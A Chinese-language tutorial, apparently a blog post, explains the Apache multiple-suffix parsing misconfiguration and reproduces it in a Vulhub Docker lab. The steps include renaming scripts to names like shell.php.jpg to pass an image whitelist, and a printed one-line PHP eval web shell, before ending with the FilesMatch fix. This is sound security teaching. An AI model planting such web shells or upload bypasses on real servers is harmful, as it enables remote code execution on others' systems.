目录
[2. AddType application/x-httpd-php .php错误配置](#2. AddType application/x-httpd-php .php错误配置)
[1、确保系统已安装 Docker 和 Docker-Compose](#1、确保系统已安装 Docker 和 Docker-Compose)
[2、下载 Vulhub](#2、下载 Vulhub)
4、访问把靶机根目录下/uploadfiles/apache.php.jpeg文件
本文详细介绍Apache多后缀解析原理及其利用过程,其源于Apache错误配置AddType application/x-httpd-php .php,导致文件扩展名匹配宽松(如shell.php.jpg会被当作PHP执行)。文章通过Vulhub搭建渗透环境,复现了攻击流程:上传包含PHP代码的图片文件(如shell.php.jpg)后,访问该文件即可触发代码执行。修复方案为修改Apache配置,使用正则严格匹配.php结尾的文件(FilesMatch \.php$)。
一、Apache多后缀解析
1、Apache文件扩展名识别过程
Apache首先会检查请求的URL或文件路径中的文件扩展名。例如,.html、.jpg、.php等。
Apache 能够识别的文件扩展名在mime.types配置文件里(或在某些发行版中可能是mime.magic或类似名称)的配置文件来将文件扩展名映射到MIME类型。这个文件通常位于Apache的配置目录中,例如/etc/apache2/(对于Debian/Ubuntu)或/etc/httpd/conf/(对于CentOS/RHEL)。
Apache允许通过模块(如mod_mime_magic)和配置指令(如AddType和AddEncoding)来添加或覆盖MIME类型的映射,自定义的配置会覆盖mime.types的扩展名定义,你可以使用AddType指令为特定的文件扩展名指定MIME类型。
举例
AddType text/html .html
AddLanguage zh-CN .cn
其给.html后缀增加了media-type,值为text/html;给.cn后缀增加了语言,值为zh-CN。此时,如果用户请求文件index.cn.html,他将返回一个中文的html页面。
2. AddType application/x-httpd-php .php错误配置
(1)原理
例如,AddType application/x-httpd-php .php 会告诉Apache将所有扩展名中任意一个为完整的字符串".php",则该文件视为PHP脚本文件,并据此进行处理。但请注意,对于.php文件,这一步骤通常是默认的,因为mod_php模块(或其他PHP处理模块)会自动处理这些文件。
info.php 会按照php执行
info.php3不会按照php执行,虽然php3包含字符串php,但是php3并不是完整的字符串"php"
info.php.xxx会按照php执行,因为多后缀php和xxx中,php完整匹配字符串"php"
info.php3.xxx不会按照php执行,因为多后缀php3和xxx中,并没有一个完整匹配字符串"php"
info.php.jpg会按照php执行,即使mime.types已经配置jpg为图片类型,此配置仍会覆盖,按照jpg执行
(2)防御
将源码中的conf中的错误配置,如下所示。
addHandler application/x-httpd-php .php
改为仅php为最右一个后缀时,当作php解析,具体配置如下所示。
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
(3)核心区别
| 特性 | AddHandler application/x-httpd-php .php |
<FilesMatch \.php$> |
|---|---|---|
| 匹配原理 | 包含即匹配 :只要文件名中包含 .php 这个字符串 |
正则表达式结尾匹配 :只有文件名以 .php 结尾 |
| 安全性 | 非常危险 ,存在多后缀解析 | 安全,能有效防止多后缀解析 |
| 严格性 | 宽松 | 严格 |
| 示例匹配 | file.php file.php.jpg file.php.txt jpg.file.php.png |
file.php my.file.php |
| 示例不匹配 | file.phps |
file.php.jpg file.php.txt file.phps |
3、影响版本
- apache handler不可以为CGI/FastCGI
- apache版本和php版本无关,属于用户配置不当造成的解析安全风险,尤其是使用module模式与php结合的所有版本
二、环境搭建
1、确保系统已安装 Docker 和 Docker-Compose
本文使用Vulhub复现Apache多后缀解析,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。
# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker
2、下载 Vulhub
将 Vulhub 项目克隆到本地,具体命令如下所示。
git clone https://github.com/vulhub/vulhub.git
cd vulhub
3、进入环境
Vulhub 已经准备好现成的渗透环境,我们只需进入对应目录启动镜像docker-compose up -d。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。

进入到apache多后缀解析目录里,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器。
docker-compose up -d
命令执行后,Docker 会完成拉取一个包含Apache 多后缀安全风险(受影响版本)的镜像。

4、查看环境状态
使用 docker ps 命令确认容器启动状态,获取服务映射的端口号,端口映射如下所示:
0.0.0.0:80->80/tcp, :::80->80/tcp
据此可知docker靶机http服务的80端口映射为宿主机的80端口,因此在kali中访问http://127.0.0.1:80 或者http://127.0.0.1 均可以打开靶机的web服务。
5、源码分析
(1)文件上传之白名单
进入到Dokcer环境内部,查看网站源码,后端采用了白名单策略,只允许上传图片后缀格式,而且必须是gif, png, jpg, jpeg之一 ,如下所示。

(2)查询php是否有自主配置类型
搜索Apache配置后发现使用 AddHandler application/x-httpd-php .php指令,如果扩展名为.php后缀,就会交给PHP模块执行其中的命令,如下所示:
这种配置正好与AddType application/x-httpd-php .php错误配置一致,说明存在Apache后缀配置错误的安全风险。
(3)分析多后缀解析原理
假如我们要上传的脚本本来为shell.php,我们将其命名为shell.php.jpg,由于多后缀中的php完整匹配字符串"php",那么会将shell.php.jpg当作php文件解析。但是呢,它的最右后缀又是jpg,会被识别为图片,到底这个按照哪个类别处理呢?是php脚本还是jpg图片呢。
-
来自危险配置
AddHandler ... .php的线索:-
规则 : "如果文件名包含
.php,就将其交给 PHP 处理器执行。" -
匹配结果 : 文件名
shell.php.jpg包含.php。✅ 匹配成功! -
结论 : 此文件应被执行。
-
-
来自默认配置
TypesConfig(mime.types) 的线索:-
规则 : "如果文件名以
.jpg结尾 ,则其 MIME 类型为image/jpeg。" -
匹配结果 : 文件名
shell.php.jpg以.jpg结尾。✅ 匹配成功! -
结论 : 此文件的类型应被描述 为
image/jpeg。
-
本环境中执行顺序和优先级 导致了安全风险,简单来讲就是AddHandler(决定执行)的规则匹配先于且强于默认的 TypesConfig(决定MIME类型)。
本关卡中白名单为"gif,png,jpg,jpeg",故而我们加入上传的脚本为shell.php,那么将其名称改为如下四种,均可以渗透成功。
shell.php.gif
shell.php.jpg
shell.php.jpeg
shell.php.png
三、渗透实战
1、访问靶场主页
Docker启动完成后,攻击者可以构造URL,访问应用首页,确认服务正常:
访问渗透环境http://127.0.0.1

2、访问.php.jpeg脚本
如下所示,访问uploadfiles下的以.php.jpeg后缀结尾的PHP脚本文件,文件会被解析为 PHP 脚本并执行,说明渗透成功。
http://127.0.0.1/uploadfiles/apache.php.jpeg

3、渗透实战
构造木马<?php @eval($_POST[ljn]); ?>,并将其命名为ljn_post_php.jpg,将其上传后访问,如下所示,渗透成功。

四、防御修复
1、修改配置文件
修改/etc/apache2/conf-available/docker-php.conf文件,将错误配置改为如下形式。

2、重启Apache服务
执行service apache2 restart重启Apache服务,如下所示。

3、重新启动靶机
上一步重启apache服务后,靶机重启,此时docker状态为exited,如下所示

需要将靶机再次启动,执行如下命令
docker start apache_parsing_vulnerability_apache_1
启动后再次查看docker状态,如下所示靶机启动成功。

4、访问把靶机根目录下/uploadfiles/apache.php.jpeg文件
如下所示,apache.php.jpeg不再当作php文件执行,修复成功。

5、访问上传木马
如下所示,ljn_post.php.jpg不再当作php文件执行,修复成功。
